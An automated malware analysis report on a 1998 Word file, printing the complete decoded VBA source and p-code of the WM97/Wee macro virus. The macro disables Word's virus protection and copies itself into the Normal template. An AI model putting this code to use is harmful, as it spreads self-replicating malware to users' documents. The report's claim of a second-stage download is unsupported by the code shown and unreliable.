Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 138a32b8ce9fc039…

MALICIOUS

Office (OLE)

36.0 KB Created: 1998-10-15 07:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a4302a31519efde7a5080a2dd8239085 SHA-1: e16527cde04d234b6ea324395d07b8f2c646ac48 SHA-256: 138a32b8ce9fc0393e55d622c0185845df9c66bbe893af1b167a405014b21cfd
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a large VBA macro, including AutoOpen and Auto_Close subroutines, indicating malicious intent. The macro attempts to disable virus protection and appears to be designed to download and execute a second-stage payload, as suggested by the embedded URLs and the ClamAV detection as 'Doc.Trojan.Class-36'. The presence of legacy macro indicators points to an older, but still potentially dangerous, infection vector.

Heuristics 7

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()'WM97/Wee by Virus :) Smile"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.happy.com� In document text (OLE body)
    • http://www.wee.com�In document text (OLE body)
    • http://www.wee.comIn document text (OLE body)
    • http://www.happy.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21454 bytes
SHA-256: 926100838c4517ace3b91fe1c4fbe0a1c3a05ca1def0c0046a1e760f6cae471d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'310954429211262238784310954429211262238784310954429211262238784310954429211262238784
Randomize
'5562097728151465459600556209772815146545960055620977281514654596005562097728151465459600
o = 0: x = 0
'4346307648426677342224434630764842667734222443463076484266773422244346307648426677342224
On Error GoTo 91
'12258751562522631591844122587515625226315918441225875156252263159184412258751562522631591844
Options.VirusProtection = False
'439436410052375068736439436410052375068736439436410052375068736439436410052375068736
Options.SaveNormalPrompt = False
'6222929376443344325249622292937644334432524962229293764433443252496222929376443344325249
Options.ConfirmConversions = False
'574154752942661663209574154752942661663209574154752942661663209574154752942661663209
vx = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines
'81705328816674236416817053288166742364168170532881667423641681705328816674236416
xv = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines
'646785892943415556496646785892943415556496646785892943415556496646785892943415556496
If xv > 0 And vx > 0 Then GoTo 91
'1712617168947695502449171261716894769550244917126171689476955024491712617168947695502449
If xv = 0 Then
'80026752126616291025800267521266162910258002675212661629102580026752126616291025
    Set Wee = NormalTemplate.VBProject.VBComponents
'12801511526415690568644128015115264156905686441280151152641569056864412801511526415690568644
    Set host = ActiveDocument.VBProject.VBComponents
'65546240400711929124655462404007119291246554624040071192912465546240400711929124
    lx = Int(Rnd(1) * 100) + 1
'46486809664554790916464868096645547909164648680966455479091646486809664554790916
    If lx = 99 Then ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.wee.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(87) + Chr(69) + Chr(69)
'665449093692575156516665449093692575156516665449093692575156516665449093692575156516
    lr = Int(Rnd(1) * 75) + 1
'268458696941557268736268458696941557268736268458696941557268736268458696941557268736
    If lr = 74 Then ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.happy.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(87) + Chr(69) + Chr(69)
'14759504076128101157956147595040761281011579561475950407612810115795614759504076128101157956
    ls = Int(Rnd(1) * 50) + 1
'5738420250041713977600573842025004171397760057384202500417139776005738420250041713977600
    If ls = 49 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)
'16610107802519955235169166101078025199552351691661010780251995523516916610107802519955235169
    lt = Int(Rnd(1) * 25) + 1
'16095181134428960892041160951811344289608920411609518113442896089204116095181134428960892041
    If lt = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(87) + Chr(69) + Chr(69)
'44868983329171872100448689833291718721004486898332917187210044868983329171872100
    host.Item(1).Name = Wee.Item(1).Name
'12170469504422690601956121704695044226906019561217046950442269060195612170469504422690601956
    host.Item(1).Export Application.StartupPath & Chr(87) + Chr(69) + Chr(69)
'3120098304418326119876312009830441832611987631200983044183261198763120098304418326119876
End If
'10114117272925826418436101141172729258264184361011411727292582641843610114117272925826418436
If vx = 0 Then Set Wee = ActiveDocument.VBProject.VBComponents
'22711896497020428944227118964970204289442271189649702042894422711896497020428944
Wee.Item(1).codemodule.AddFromFile Application.StartupPath & Chr(87) + Chr(69) + Chr(69)
'81079219364541412100810792193645414121008107921936454141210081079219364541412100
With Wee.Item(1).codemodule
'10993733862450136135921109937338624501361359211099373386245013613592110993733862450136135921
    For j = 1 To 4
'5555920410036276529555592041003627652955559204100362765295555920410036276529
    .deletelines 1
'244015641001174844176244015641001174844176244015641001174844176244015641001174844176
    Next j
'5192610412921935387236519261041292193538723651926104129219353872365192610412921935387236
    End With
'6329316249700925625632931624970092562563293162497009256256329316249700925625
If xv < 94 Then
'846460836003176224164846460836003176224164846460836003176224164846460836003176224164
    With Wee.Item(1).codemodule
'2305447456934685710081230544745693468571008123054474569346857100812305447456934685710081
    .replaceline 1, "Sub AutoClose()'WM97/Wee by Virus :) Smile"
'1427499248449074211729142749924844907421172914274992484490742117291427499248449074211729
    .replaceline 97, "Sub ToolsMacro()'WM97/Wee by Virus :) Smile"
'971959374415512702500971959374415512702500971959374415512702500971959374415512702500
    End With
'1482111456414444674596148211145641444467459614821114564144446745961482111456414444674596
End If
'7565520453428473316756552045342847331675655204534284733167565520453428473316
If xv = 0 And vx = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'11578163128911096726281115781631289110967262811157816312891109672628111578163128911096726281
With Wee.Item(1).codemodule
'995251065763210015649995251065763210015649995251065763210015649995251065763210015649
    For j = 2 To Wee.Item(1).codemodule.countoflines Step 2
'792045334892904239881792045334892904239881792045334892904239881792045334892904239881
    x = Int(Rnd(414835) * 403989) + 8485
'690370370013111519961690370370013111519961690370370013111519961690370370013111519961
    o = Int(Rnd(298368) * 235865) + 2988
'336388400138354480649336388400138354480649336388400138354480649336388400138354480649
    .replaceline j, "'" & x * x & o * o & x * x & o * o & x * x & o * o & x * x & o * o
'116352896897627576896116352896897627576896116352896897627576896116352896897627576896
Next j
'27805562513355731489278055625133557314892780556251335573148927805562513355731489
End With
'375553392649226947249375553392649226947249375553392649226947249375553392649226947249
91:
'393154080429130296976393154080429130296976393154080429130296976393154080429130296976
If xv <> 94 And vx = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'1492844112421246269121149284411242124626912114928441124212462691211492844112421246269121
End Sub
'8844557040419456065225884455704041945606522588445570404194560652258844557040419456065225
Sub ViewVBCode() 'WM97/Wee by Virus :) Smile
'22483718891580380516224837188915803805162248371889158038051622483718891580380516
End Sub
'198085920492522550625198085920492522550625198085920492522550625198085920492522550625

'267082240032230661841267082240032230661841267082240032230661841267082240032230661841

' Processing file: /tmp/qstore_feavfpzm
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11682 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	QuoteRem 0x0000 0x0054 "310954429211262238784310954429211262238784310954429211262238784310954429211262238784"
' Line #2:
' 	ArgsCall Read 0x0000 
' Line #3:
' 	QuoteRem 0x0000 0x0058 "5562097728151465459600556209772815146545960055620977281514654596005562097728151465459600"
' Line #4:
' 	LitDI2 0x0000 
' 	St o 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St x 
' Line #5:
' 	QuoteRem 0x0000 0x0058 "4346307648426677342224434630764842667734222443463076484266773422244346307648426677342224"
' Line #6:
' 	OnError 91 
' Line #7:
' 	QuoteRem 0x0000 0x005C "12258751562522631591844122587515625226315918441225875156252263159184412258751562522631591844"
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #9:
' 	QuoteRem 0x0000 0x0054 "439436410052375068736439436410052375068736439436410052375068736439436410052375068736"
' Line #10:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #11:
' 	QuoteRem 0x0000 0x0058 "6222929376443344325249622292937644334432524962229293764433443252496222929376443344325249"
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #13:
' 	QuoteRem 0x0000 0x0054 "574154752942661663209574154752942661663209574154752942661663209574154752942661663209"
' Line #14:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St vx 
' Line #15:
' 	QuoteRem 0x0000 0x0050 "81705328816674236416817053288166742364168170532881667423641681705328816674236416"
' Line #16:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St xv 
' Line #17:
' 	QuoteRem 0x0000 0x0054 "646785892943415556496646785892943415556496646785892943415556496646785892943415556496"
' Line #18:
' 	Ld xv 
' 	LitDI2 0x0000 
' 	Gt 
' 	Ld vx 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 91 
' 	EndIf 
' Line #19:
' 	QuoteRem 0x0000 0x0058 "1712617168947695502449171261716894769550244917126171689476955024491712617168947695502449"
' Line #20:
' 	Ld xv 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #21:
' 	QuoteRem 0x0000 0x0050 "80026752126616291025800267521266162910258002675212661629102580026752126616291025"
' Line #22:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Wee 
' Line #23:
' 	QuoteRem 0x0000 0x005C "12801511526415690568644128015115264156905686441280151152641569056864412801511526415690568644"
' Line #24:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set host 
' Line #25:
' 	QuoteRem 0x0000 0x0050 "65546240400711929124655462404007119291246554624040071192912465546240400711929124"
' Line #26:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St lx 
' Line #27:
' 	QuoteRem 0x0000 0x0050 "46486809664554790916464868096645547909164648680966455479091646486809664554790916"
' Line #28:
' 	Ld lx 
' 	LitDI2 0x0063 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld wdWindowStateMinimize 
' 	Ld ActiveWindow 
' 	MemSt WindowState 
' 	BoS 0x0000 
' 	LitStr 0x0012 "http://www.wee.com"
' 	ParamNamed Address 
' 	LitVarSpecial (False)
' 	ParamNamed NewWindow 
' 	LitVarSpecial (False)
' 	ParamNamed AddHistory 
' 	LitDI2 0x0057 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ParamNamed ExtraInfo 
' 	Ld ActiveDocument 
' 	ArgsMemCall FollowHyperlink 0x0004 
' 	EndIf 
' Line #29:
' 	QuoteRem 0x0000 0x0054 "665449093692575156516665449093692575156516665449093692575156516665449093692575156516"
' Line #30:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x004B 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St lr 
' Line #31:
' 	QuoteRem 0x0000 0x0054 "268458696941557268736268458696941557268736268458696941557268736268458696941557268736"
' Line #32:
' 	Ld lr 
' 	LitDI2 0x004A 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld wdWindowStateMinimize 
' 	Ld ActiveWindow 
' 	MemSt WindowState 
' 	BoS 0x0000 
' 	LitStr 0x0014 "http://www.happy.com"
' 	ParamNamed Address 
' 	LitVarSpecial (False)
' 	ParamNamed NewWindow 
' 	LitVarSpecial (False)
' 	ParamNamed AddHistory 
' 	LitDI2 0x0057 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ParamNamed ExtraInfo 
' 	Ld ActiveDocument 
' 	ArgsMemCall FollowHyperlink 0x0004 
' 	EndIf 
' Line #33:
' 	QuoteRem 0x0000 0x005C "14759504076128101157956147595040761281011579561475950407612810115795614759504076128101157956"
' Line #34:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0032 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St ls 
' Line #35:
' 	QuoteRem 0x0000 0x0058 "5738420250041713977600573842025004171397760057384202500417139776005738420250041713977600"
' Line #36:
' 	Ld ls 
' 	LitDI2 0x0031 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0050 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004F 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0056 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0069 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0075 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #37:
' 	QuoteRem 0x0000 0x005C "16610107802519955235169166101078025199552351691661010780251995523516916610107802519955235169"
' Line #38:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0019 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St lt 
' Line #39:
' 	QuoteRem 0x0000 0x005C "16095181134428960892041160951811344289608920411609518113442896089204116095181134428960892041"
' Line #40:
' 	Ld lt 
' 	LitDI2 0x0018 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0057 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #41:
' 	QuoteRem 0x0000 0x0050 "44868983329171872100448689833291718721004486898332917187210044868983329171872100"
' Line #42:
' 	LitDI2 0x0001 
' 	Ld Wee 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld host 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #43:
' 	QuoteRem 0x0000 0x005C "12170469504422690601956121704695044226906019561217046950442269060195612170469504422690601956"
' Line #44:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitDI2 0x0057 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	LitDI2 0x0001 
' 	Ld host 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #45:
' 	QuoteRem 0x0000 0x0058 "3120098304418326119876312009830441832611987631200983044183261198763120098304418326119876"
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	QuoteRem 0x0000 0x005C "10114117272925826418436101141172729258264184361011411727292582641843610114117272925826418436"
' Line #48:
' 	Ld vx 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Wee 
' 	EndIf 
' Line #49:
' 	QuoteRem 0x0000 0x0050 "22711896497020428944227118964970204289442271189649702042894422711896497020428944"
' Line #50:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitDI2 0x0057 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	LitDI2 0x0001 
' 	Ld Wee 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #51:
' 	QuoteRem 0x0000 0x0050 "81079219364541412100810792193645414121008107921936454141210081079219364541412100"
' Line #52:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld Wee 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	With 
' Line #53:
' 	QuoteRem 0x0000 0x005C "10993733862450136135921109937338624501361359211099373386245013613592110993733862450136135921"
' Line #54:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #55:
' 	QuoteRem 0x0000 0x004C "5555920410036276529555592041003627652955559204100362765295555920410036276529"
' Line #56:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #57:
' 	QuoteRem 0x0000 0x0054 "244015641001174844176244015641001174844176244015641001174844176244015641001174844176"
' Line #58:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	NextVar 
' Line #59:
' 	QuoteRem 0x0000 0x0058 "5192610412921935387236519261041292193538723651926104129219353872365192610412921935387236"
' Line #60:
' 	EndWith 
' Line #61:
' 	QuoteRem 0x0000 0x004C "6329316249700925625632931624970092562563293162497009256256329316249700925625"
' Line #62:
' 	Ld xv 
' 	LitDI2 0x005E 
' 	Lt 
' 	IfBlock 
' Line #63:
' 	QuoteRem 0x0000 0x0054 "846460836003176224164846460836003176224164846460836003176224164846460836003176224164"
' Line #64:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld Wee 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	With 
' Line #65:
' 	QuoteRem 0x0000 0x0058 "2305447456934685710081230544745693468571008123054474569346857100812305447456934685710081"
' Line #66:
' 	LitDI2 0x0001 
' 	LitStr 0x002A "Sub AutoClose()'WM97/Wee by Virus :) Smile"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #67:
' 	QuoteRem 0x0000 0x0058 "1427499248449074211729142749924844907421172914274992484490742117291427499248449074211729"
' Line #68:
' 	LitDI2 0x0061 
' 	LitStr 0x002B "Sub ToolsMacro()'WM97/Wee by Virus :) Smile"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #69:
' 	QuoteRem 0x0000 0x0054 "971959374415512702500971959374415512702500971959374415512702500971959374415512702500"
' Line #70:
' 	EndWith 
' Line #71:
' 	QuoteRem 0x0000 0x0058 "1482111456414444674596148211145641444467459614821114564144446745961482111456414444674596"
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	QuoteRem 0x0000 0x004C "7565520453428473316756552045342847331675655204534284733167565520453428473316"
' Line #74:
' 	Ld xv 
' 	LitDI2 0x0000 
' 	Eq 
' 	Ld vx 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #75:
' 	QuoteRem 0x0000 0x005C "11578163128911096726281115781631289110967262811157816312891109672628111578163128911096726281"
' Line #76:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld Wee 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	With 
' Line #77:
' 	QuoteRem 0x0000 0x0054 "995251065763210015649995251065763210015649995251065763210015649995251065763210015649"
' Line #78:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Ld Wee 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #79:
' 	QuoteRem 0x0000 0x0054 "792045334892904239881792045334892904239881792045334892904239881792045334892904239881"
' Line #80:
' 	LitDI4 0x5473 0x0006 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x2A15 0x0006 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x2125 
' 	Add 
' 	St x 
' Line #81:
' 	QuoteRem 0x0000 0x0054 "690370370013111519961690370370013111519961690370370013111519961690370370013111519961"
' Line #82:
' 	LitDI4 0x8D80 0x0004 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x9959 0x0003 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0BAC 
' 	Add 
' 	St o 
' Line #83:
' 	QuoteRem 0x0000 0x0054 "336388400138354480649336388400138354480649336388400138354480649336388400138354480649"
' Line #84:
' 	Ld j 
' 	LitStr 0x0001 "'"
' 	Ld x 
' 	Ld x 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	Ld x 
' 	Ld x 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	Ld x 
' 	Ld x 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	Ld x 
' 	Ld x 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #85:
' 	QuoteRem 0x0000 0x0054 "116352896897627576896116352896897627576896116352896897627576896116352896897627576896"
' Line #86:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	NextVar 
' Line #87:
' 	QuoteRem 0x0000 0x0050 "27805562513355731489278055625133557314892780556251335573148927805562513355731489"
' Line #88:
' 	EndWith 
' Line #89:
' 	QuoteRem 0x0000 0x0054 "375553392649226947249375553392649226947249375553392649226947249375553392649226947249"
' Line #90:
' 	LineNum 91 
' 	BoS 0x0000 
' Line #91:
' 	QuoteRem 0x0000 0x0054 "393154080429130296976393154080429130296976393154080429130296976393154080429130296976"
' Line #92:
' 	Ld xv 
' 	LitDI2 0x005E 
' 	Ne 
' 	Ld vx 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #93:
' 	QuoteRem 0x0000 0x0058 "1492844112421246269121149284411242124626912114928441124212462691211492844112421246269121"
' Line #94:
' 	EndSub 
' Line #95:
' 	QuoteRem 0x0000 0x0058 "8844557040419456065225884455704041945606522588445570404194560652258844557040419456065225"
' Line #96:
' 	FuncDefn (Sub ViewVBCode())
' 	QuoteRem 0x0011 0x001A "WM97/Wee by Virus :) Smile"
' Line #97:
' 	QuoteRem 0x0000 0x0050 "22483718891580380516224837188915803805162248371889158038051622483718891580380516"
' Line #98:
' 	EndSub 
' Line #99:
' 	QuoteRem 0x0000 0x0054 "198085920492522550625198085920492522550625198085920492522550625198085920492522550625"
' Line #100:
' Line #101:
' 	QuoteRem 0x0000 0x0054 "267082240032230661841267082240032230661841267082240032230661841267082240032230661841"